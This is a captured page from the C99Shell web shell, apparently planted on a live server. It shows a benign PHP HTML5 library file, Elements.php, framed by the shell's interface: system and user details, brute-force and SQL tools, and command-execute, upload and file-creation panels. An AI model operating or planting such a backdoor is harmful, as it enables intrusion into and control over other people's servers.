!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/masterminds/html5/src/HTML5/   drwxr-xr-x
Free 29.22 GB of 117.98 GB (24.77%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Elements.php (20.06 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Provide general element functions.
 */

namespace Masterminds\HTML5;

/**
 * This class provides general information about HTML5 elements,
 * including syntactic and semantic issues.
 * Parsers and serializers can
 * use this class as a reference point for information about the rules
 * of various HTML5 elements.
 *
 * @todo consider using a bitmask table lookup. There is enough overlap in
 *       naming that this could significantly shrink the size and maybe make it
 *       faster. See the Go teams implementation at https://code.google.com/p/go/source/browse/html/atom.
 */
class Elements
{
    
/**
     * Indicates an element is described in the specification.
     */
    
const KNOWN_ELEMENT 1;

    
// From section 8.1.2: "script", "style"
    // From 8.2.5.4.7 ("in body" insertion mode): "noembed"
    // From 8.4 "style", "xmp", "iframe", "noembed", "noframes"
    /**
     * Indicates the contained text should be processed as raw text.
     */
    
const TEXT_RAW 2;

    
// From section 8.1.2: "textarea", "title"
    /**
     * Indicates the contained text should be processed as RCDATA.
     */
    
const TEXT_RCDATA 4;

    
/**
     * Indicates the tag cannot have content.
     */
    
const VOID_TAG 8;

    
// "address", "article", "aside", "blockquote", "center", "details", "dialog", "dir", "div", "dl",
    // "fieldset", "figcaption", "figure", "footer", "header", "hgroup", "menu",
    // "nav", "ol", "p", "section", "summary", "ul"
    // "h1", "h2", "h3", "h4", "h5", "h6"
    // "pre", "listing"
    // "form"
    // "plaintext"
    /**
     * Indicates that if a previous event is for a P tag, that element
     * should be considered closed.
     */
    
const AUTOCLOSE_P 16;

    
/**
     * Indicates that the text inside is plaintext (pre).
     */
    
const TEXT_PLAINTEXT 32;

    
// See https://developer.mozilla.org/en-US/docs/HTML/Block-level_elements
    /**
     * Indicates that the tag is a block.
     */
    
const BLOCK_TAG 64;

    
/**
     * Indicates that the tag allows only inline elements as child nodes.
     */
    
const BLOCK_ONLY_INLINE 128;

    
/**
     * Elements with optional end tags that cause auto-closing of previous and parent tags,
     * as example most of the table related tags, see https://www.w3.org/TR/html401/struct/tables.html
     * Structure is as follows:
     * TAG-NAME => [PARENT-TAG-NAME-TO-CLOSE1, PARENT-TAG-NAME-TO-CLOSE2, ...].
     *
     * Order is important, after auto-closing one parent with might have to close also their parent.
     *
     * @var array<string, string[]>
     */
    
public static $optionalEndElementsParentsToClose = array(
        
'tr' => array('td''tr'),
        
'td' => array('td''th'),
        
'th' => array('td''th'),
        
'tfoot' => array('td''th''tr''tbody''thead'),
        
'tbody' => array('td''th''tr''thead'),
    );

    
/**
     * The HTML5 elements as defined in http://dev.w3.org/html5/markup/elements.html.
     *
     * @var array
     */
    
public static $html5 = array(
        
'a' => 1,
        
'abbr' => 1,
        
'address' => 65// NORMAL | BLOCK_TAG
        
'area' => 9// NORMAL | VOID_TAG
        
'article' => 81// NORMAL | AUTOCLOSE_P | BLOCK_TAG
        
'aside' => 81// NORMAL | AUTOCLOSE_P | BLOCK_TAG
        
'audio' => 1// NORMAL
        
'b' => 1,
        
'base' => 9// NORMAL | VOID_TAG
        
'bdi' => 1,
        
'bdo' => 1,
        
'blockquote' => 81// NORMAL | AUTOCLOSE_P | BLOCK_TAG
        
'body' => 1,
        
'br' => 9// NORMAL | VOID_TAG
        
'button' => 1,
        
'canvas' => 65// NORMAL | BLOCK_TAG
        
'caption' => 1,
        
'cite' => 1,
        
'code' => 1,
        
'col' => 9// NORMAL | VOID_TAG
        
'colgroup' => 1,
        
'command' => 9// NORMAL | VOID_TAG
                        // "data" => 1, // This is highly experimental and only part of the whatwg spec (not w3c). See https://developer.mozilla.org/en-US/docs/HTML/Element/data
        
'datalist' => 1,
        
'dd' => 65// NORMAL | BLOCK_TAG
        
'del' => 1,
        
'details' => 17// NORMAL | AUTOCLOSE_P,
        
'dfn' => 1,
        
'dialog' => 17// NORMAL | AUTOCLOSE_P,
        
'div' => 81// NORMAL | AUTOCLOSE_P | BLOCK_TAG
        
'dl' => 81// NORMAL | AUTOCLOSE_P | BLOCK_TAG
        
'dt' => 1,
        
'em' => 1,
        
'embed' => 9// NORMAL | VOID_TAG
        
'fieldset' => 81// NORMAL | AUTOCLOSE_P | BLOCK_TAG
        
'figcaption' => 81// NORMAL | AUTOCLOSE_P | BLOCK_TAG
        
'figure' => 81// NORMAL | AUTOCLOSE_P | BLOCK_TAG
        
'footer' => 81// NORMAL | AUTOCLOSE_P | BLOCK_TAG
        
'form' => 81// NORMAL | AUTOCLOSE_P | BLOCK_TAG
        
'h1' => 81// NORMAL | AUTOCLOSE_P | BLOCK_TAG
        
'h2' => 81// NORMAL | AUTOCLOSE_P | BLOCK_TAG
        
'h3' => 81// NORMAL | AUTOCLOSE_P | BLOCK_TAG
        
'h4' => 81// NORMAL | AUTOCLOSE_P | BLOCK_TAG
        
'h5' => 81// NORMAL | AUTOCLOSE_P | BLOCK_TAG
        
'h6' => 81// NORMAL | AUTOCLOSE_P | BLOCK_TAG
        
'head' => 1,
        
'header' => 81// NORMAL | AUTOCLOSE_P | BLOCK_TAG
        
'hgroup' => 81// NORMAL | AUTOCLOSE_P | BLOCK_TAG
        
'hr' => 73// NORMAL | VOID_TAG
        
'html' => 1,
        
'i' => 1,
        
'iframe' => 3// NORMAL | TEXT_RAW
        
'img' => 9// NORMAL | VOID_TAG
        
'input' => 9// NORMAL | VOID_TAG
        
'kbd' => 1,
        
'ins' => 1,
        
'keygen' => 9// NORMAL | VOID_TAG
        
'label' => 1,
        
'legend' => 1,
        
'li' => 1,
        
'link' => 9// NORMAL | VOID_TAG
        
'map' => 1,
        
'mark' => 1,
        
'menu' => 17// NORMAL | AUTOCLOSE_P,
        
'meta' => 9// NORMAL | VOID_TAG
        
'meter' => 1,
        
'nav' => 17// NORMAL | AUTOCLOSE_P,
        
'noscript' => 65// NORMAL | BLOCK_TAG
        
'object' => 1,
        
'ol' => 81// NORMAL | AUTOCLOSE_P | BLOCK_TAG
        
'optgroup' => 1,
        
'option' => 1,
        
'output' => 65// NORMAL | BLOCK_TAG
        
'p' => 209// NORMAL | AUTOCLOSE_P | BLOCK_TAG | BLOCK_ONLY_INLINE
        
'param' => 9// NORMAL | VOID_TAG
        
'pre' => 81// NORMAL | AUTOCLOSE_P | BLOCK_TAG
        
'progress' => 1,
        
'q' => 1,
        
'rp' => 1,
        
'rt' => 1,
        
'ruby' => 1,
        
's' => 1,
        
'samp' => 1,
        
'script' => 3// NORMAL | TEXT_RAW
        
'section' => 81// NORMAL | AUTOCLOSE_P | BLOCK_TAG
        
'select' => 1,
        
'small' => 1,
        
'source' => 9// NORMAL | VOID_TAG
        
'span' => 1,
        
'strong' => 1,
        
'style' => 3// NORMAL | TEXT_RAW
        
'sub' => 1,
        
'summary' => 17// NORMAL | AUTOCLOSE_P,
        
'sup' => 1,
        
'table' => 65// NORMAL | BLOCK_TAG
        
'tbody' => 1,
        
'td' => 1,
        
'textarea' => 5// NORMAL | TEXT_RCDATA
        
'tfoot' => 65// NORMAL | BLOCK_TAG
        
'th' => 1,
        
'thead' => 1,
        
'time' => 1,
        
'title' => 5// NORMAL | TEXT_RCDATA
        
'tr' => 1,
        
'track' => 9// NORMAL | VOID_TAG
        
'u' => 1,
        
'ul' => 81// NORMAL | AUTOCLOSE_P | BLOCK_TAG
        
'var' => 1,
        
'video' => 1,
        
'wbr' => 9// NORMAL | VOID_TAG

        // Legacy?
        
'basefont' => 8// VOID_TAG
        
'bgsound' => 8// VOID_TAG
        
'noframes' => 2// RAW_TEXT
        
'frame' => 9// NORMAL | VOID_TAG
        
'frameset' => 1,
        
'center' => 16,
        
'dir' => 16,
        
'listing' => 16// AUTOCLOSE_P
        
'plaintext' => 48// AUTOCLOSE_P | TEXT_PLAINTEXT
        
'applet' => 0,
        
'marquee' => 0,
        
'isindex' => 8// VOID_TAG
        
'xmp' => 20// AUTOCLOSE_P | VOID_TAG | RAW_TEXT
        
'noembed' => 2// RAW_TEXT
        
);

    
/**
     * The MathML elements.
     * See http://www.w3.org/wiki/MathML/Elements.
     *
     * In our case we are only concerned with presentation MathML and not content
     * MathML. There is a nice list of this subset at https://developer.mozilla.org/en-US/docs/MathML/Element.
     *
     * @var array
     */
    
public static $mathml = array(
        
'maction' => 1,
        
'maligngroup' => 1,
        
'malignmark' => 1,
        
'math' => 1,
        
'menclose' => 1,
        
'merror' => 1,
        
'mfenced' => 1,
        
'mfrac' => 1,
        
'mglyph' => 1,
        
'mi' => 1,
        
'mlabeledtr' => 1,
        
'mlongdiv' => 1,
        
'mmultiscripts' => 1,
        
'mn' => 1,
        
'mo' => 1,
        
'mover' => 1,
        
'mpadded' => 1,
        
'mphantom' => 1,
        
'mroot' => 1,
        
'mrow' => 1,
        
'ms' => 1,
        
'mscarries' => 1,
        
'mscarry' => 1,
        
'msgroup' => 1,
        
'msline' => 1,
        
'mspace' => 1,
        
'msqrt' => 1,
        
'msrow' => 1,
        
'mstack' => 1,
        
'mstyle' => 1,
        
'msub' => 1,
        
'msup' => 1,
        
'msubsup' => 1,
        
'mtable' => 1,
        
'mtd' => 1,
        
'mtext' => 1,
        
'mtr' => 1,
        
'munder' => 1,
        
'munderover' => 1,
    );

    
/**
     * The svg elements.
     *
     * The Mozilla documentation has a good list at https://developer.mozilla.org/en-US/docs/SVG/Element.
     * The w3c list appears to be lacking in some areas like filter effect elements.
     * That list can be found at http://www.w3.org/wiki/SVG/Elements.
     *
     * Note, FireFox appears to do a better job rendering filter effects than chrome.
     * While they are in the spec I'm not sure how widely implemented they are.
     *
     * @var array
     */
    
public static $svg = array(
        
'a' => 1,
        
'altGlyph' => 1,
        
'altGlyphDef' => 1,
        
'altGlyphItem' => 1,
        
'animate' => 1,
        
'animateColor' => 1,
        
'animateMotion' => 1,
        
'animateTransform' => 1,
        
'circle' => 1,
        
'clipPath' => 1,
        
'color-profile' => 1,
        
'cursor' => 1,
        
'defs' => 1,
        
'desc' => 1,
        
'ellipse' => 1,
        
'feBlend' => 1,
        
'feColorMatrix' => 1,
        
'feComponentTransfer' => 1,
        
'feComposite' => 1,
        
'feConvolveMatrix' => 1,
        
'feDiffuseLighting' => 1,
        
'feDisplacementMap' => 1,
        
'feDistantLight' => 1,
        
'feFlood' => 1,
        
'feFuncA' => 1,
        
'feFuncB' => 1,
        
'feFuncG' => 1,
        
'feFuncR' => 1,
        
'feGaussianBlur' => 1,
        
'feImage' => 1,
        
'feMerge' => 1,
        
'feMergeNode' => 1,
        
'feMorphology' => 1,
        
'feOffset' => 1,
        
'fePointLight' => 1,
        
'feSpecularLighting' => 1,
        
'feSpotLight' => 1,
        
'feTile' => 1,
        
'feTurbulence' => 1,
        
'filter' => 1,
        
'font' => 1,
        
'font-face' => 1,
        
'font-face-format' => 1,
        
'font-face-name' => 1,
        
'font-face-src' => 1,
        
'font-face-uri' => 1,
        
'foreignObject' => 1,
        
'g' => 1,
        
'glyph' => 1,
        
'glyphRef' => 1,
        
'hkern' => 1,
        
'image' => 1,
        
'line' => 1,
        
'linearGradient' => 1,
        
'marker' => 1,
        
'mask' => 1,
        
'metadata' => 1,
        
'missing-glyph' => 1,
        
'mpath' => 1,
        
'path' => 1,
        
'pattern' => 1,
        
'polygon' => 1,
        
'polyline' => 1,
        
'radialGradient' => 1,
        
'rect' => 1,
        
'script' => 3// NORMAL | RAW_TEXT
        
'set' => 1,
        
'stop' => 1,
        
'style' => 3// NORMAL | RAW_TEXT
        
'svg' => 1,
        
'switch' => 1,
        
'symbol' => 1,
        
'text' => 1,
        
'textPath' => 1,
        
'title' => 1,
        
'tref' => 1,
        
'tspan' => 1,
        
'use' => 1,
        
'view' => 1,
        
'vkern' => 1,
    );

    
/**
     * Some attributes in SVG are case sensitive.
     *
     * This map contains key/value pairs with the key as the lowercase attribute
     * name and the value with the correct casing.
     */
    
public static $svgCaseSensitiveAttributeMap = array(
        
'attributename' => 'attributeName',
        
'attributetype' => 'attributeType',
        
'basefrequency' => 'baseFrequency',
        
'baseprofile' => 'baseProfile',
        
'calcmode' => 'calcMode',
        
'clippathunits' => 'clipPathUnits',
        
'contentscripttype' => 'contentScriptType',
        
'contentstyletype' => 'contentStyleType',
        
'diffuseconstant' => 'diffuseConstant',
        
'edgemode' => 'edgeMode',
        
'externalresourcesrequired' => 'externalResourcesRequired',
        
'filterres' => 'filterRes',
        
'filterunits' => 'filterUnits',
        
'glyphref' => 'glyphRef',
        
'gradienttransform' => 'gradientTransform',
        
'gradientunits' => 'gradientUnits',
        
'kernelmatrix' => 'kernelMatrix',
        
'kernelunitlength' => 'kernelUnitLength',
        
'keypoints' => 'keyPoints',
        
'keysplines' => 'keySplines',
        
'keytimes' => 'keyTimes',
        
'lengthadjust' => 'lengthAdjust',
        
'limitingconeangle' => 'limitingConeAngle',
        
'markerheight' => 'markerHeight',
        
'markerunits' => 'markerUnits',
        
'markerwidth' => 'markerWidth',
        
'maskcontentunits' => 'maskContentUnits',
        
'maskunits' => 'maskUnits',
        
'numoctaves' => 'numOctaves',
        
'pathlength' => 'pathLength',
        
'patterncontentunits' => 'patternContentUnits',
        
'patterntransform' => 'patternTransform',
        
'patternunits' => 'patternUnits',
        
'pointsatx' => 'pointsAtX',
        
'pointsaty' => 'pointsAtY',
        
'pointsatz' => 'pointsAtZ',
        
'preservealpha' => 'preserveAlpha',
        
'preserveaspectratio' => 'preserveAspectRatio',
        
'primitiveunits' => 'primitiveUnits',
        
'refx' => 'refX',
        
'refy' => 'refY',
        
'repeatcount' => 'repeatCount',
        
'repeatdur' => 'repeatDur',
        
'requiredextensions' => 'requiredExtensions',
        
'requiredfeatures' => 'requiredFeatures',
        
'specularconstant' => 'specularConstant',
        
'specularexponent' => 'specularExponent',
        
'spreadmethod' => 'spreadMethod',
        
'startoffset' => 'startOffset',
        
'stddeviation' => 'stdDeviation',
        
'stitchtiles' => 'stitchTiles',
        
'surfacescale' => 'surfaceScale',
        
'systemlanguage' => 'systemLanguage',
        
'tablevalues' => 'tableValues',
        
'targetx' => 'targetX',
        
'targety' => 'targetY',
        
'textlength' => 'textLength',
        
'viewbox' => 'viewBox',
        
'viewtarget' => 'viewTarget',
        
'xchannelselector' => 'xChannelSelector',
        
'ychannelselector' => 'yChannelSelector',
        
'zoomandpan' => 'zoomAndPan',
    );

    
/**
     * Some SVG elements are case sensitive.
     * This map contains these.
     *
     * The map contains key/value store of the name is lowercase as the keys and
     * the correct casing as the value.
     */
    
public static $svgCaseSensitiveElementMap = array(
        
'altglyph' => 'altGlyph',
        
'altglyphdef' => 'altGlyphDef',
        
'altglyphitem' => 'altGlyphItem',
        
'animatecolor' => 'animateColor',
        
'animatemotion' => 'animateMotion',
        
'animatetransform' => 'animateTransform',
        
'clippath' => 'clipPath',
        
'feblend' => 'feBlend',
        
'fecolormatrix' => 'feColorMatrix',
        
'fecomponenttransfer' => 'feComponentTransfer',
        
'fecomposite' => 'feComposite',
        
'feconvolvematrix' => 'feConvolveMatrix',
        
'fediffuselighting' => 'feDiffuseLighting',
        
'fedisplacementmap' => 'feDisplacementMap',
        
'fedistantlight' => 'feDistantLight',
        
'feflood' => 'feFlood',
        
'fefunca' => 'feFuncA',
        
'fefuncb' => 'feFuncB',
        
'fefuncg' => 'feFuncG',
        
'fefuncr' => 'feFuncR',
        
'fegaussianblur' => 'feGaussianBlur',
        
'feimage' => 'feImage',
        
'femerge' => 'feMerge',
        
'femergenode' => 'feMergeNode',
        
'femorphology' => 'feMorphology',
        
'feoffset' => 'feOffset',
        
'fepointlight' => 'fePointLight',
        
'fespecularlighting' => 'feSpecularLighting',
        
'fespotlight' => 'feSpotLight',
        
'fetile' => 'feTile',
        
'feturbulence' => 'feTurbulence',
        
'foreignobject' => 'foreignObject',
        
'glyphref' => 'glyphRef',
        
'lineargradient' => 'linearGradient',
        
'radialgradient' => 'radialGradient',
        
'textpath' => 'textPath',
    );

    
/**
     * Check whether the given element meets the given criterion.
     *
     * Example:
     *
     * Elements::isA('script', Elements::TEXT_RAW); // Returns true.
     *
     * Elements::isA('script', Elements::TEXT_RCDATA); // Returns false.
     *
     * @param string $name The element name.
     * @param int    $mask One of the constants on this class.
     *
     * @return bool true if the element matches the mask, false otherwise.
     */
    
public static function isA($name$mask)
    {
        return (static::
element($name) & $mask) === $mask;
    }

    
/**
     * Test if an element is a valid html5 element.
     *
     * @param string $name The name of the element.
     *
     * @return bool true if a html5 element and false otherwise.
     */
    
public static function isHtml5Element($name)
    {
        
// html5 element names are case insensitive. Forcing lowercase for the check.
        // Do we need this check or will all data passed here already be lowercase?
        
return isset(static::$html5[strtolower($name)]);
    }

    
/**
     * Test if an element name is a valid MathML presentation element.
     *
     * @param string $name The name of the element.
     *
     * @return bool true if a MathML name and false otherwise.
     */
    
public static function isMathMLElement($name)
    {
        
// MathML is case-sensitive unlike html5 elements.
        
return isset(static::$mathml[$name]);
    }

    
/**
     * Test if an element is a valid SVG element.
     *
     * @param string $name The name of the element.
     *
     * @return bool true if a SVG element and false otherise.
     */
    
public static function isSvgElement($name)
    {
        
// SVG is case-sensitive unlike html5 elements.
        
return isset(static::$svg[$name]);
    }

    
/**
     * Is an element name valid in an html5 document.
     * This includes html5 elements along with other allowed embedded content
     * such as svg and mathml.
     *
     * @param string $name The name of the element.
     *
     * @return bool true if valid and false otherwise.
     */
    
public static function isElement($name)
    {
        return static::
isHtml5Element($name) || static::isMathMLElement($name) || static::isSvgElement($name);
    }

    
/**
     * Get the element mask for the given element name.
     *
     * @param string $name The name of the element.
     *
     * @return int the element mask.
     */
    
public static function element($name)
    {
        if (isset(static::
$html5[$name])) {
            return static::
$html5[$name];
        }
        if (isset(static::
$svg[$name])) {
            return static::
$svg[$name];
        }
        if (isset(static::
$mathml[$name])) {
            return static::
$mathml[$name];
        }

        return 
0;
    }

    
/**
     * Normalize a SVG element name to its proper case and form.
     *
     * @param string $name The name of the element.
     *
     * @return string the normalized form of the element name.
     */
    
public static function normalizeSvgElement($name)
    {
        
$name strtolower($name);
        if (isset(static::
$svgCaseSensitiveElementMap[$name])) {
            
$name = static::$svgCaseSensitiveElementMap[$name];
        }

        return 
$name;
    }

    
/**
     * Normalize a SVG attribute name to its proper case and form.
     *
     * @param string $name The name of the attribute.
     *
     * @return string The normalized form of the attribute name.
     */
    
public static function normalizeSvgAttribute($name)
    {
        
$name strtolower($name);
        if (isset(static::
$svgCaseSensitiveAttributeMap[$name])) {
            
$name = static::$svgCaseSensitiveAttributeMap[$name];
        }

        return 
$name;
    }

    
/**
     * Normalize a MathML attribute name to its proper case and form.
     * Note, all MathML element names are lowercase.
     *
     * @param string $name The name of the attribute.
     *
     * @return string The normalized form of the attribute name.
     */
    
public static function normalizeMathMlAttribute($name)
    {
        
$name strtolower($name);

        
// Only one attribute has a mixed case form for MathML.
        
if ('definitionurl' === $name) {
            
$name 'definitionURL';
        }

        return 
$name;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.005 ]--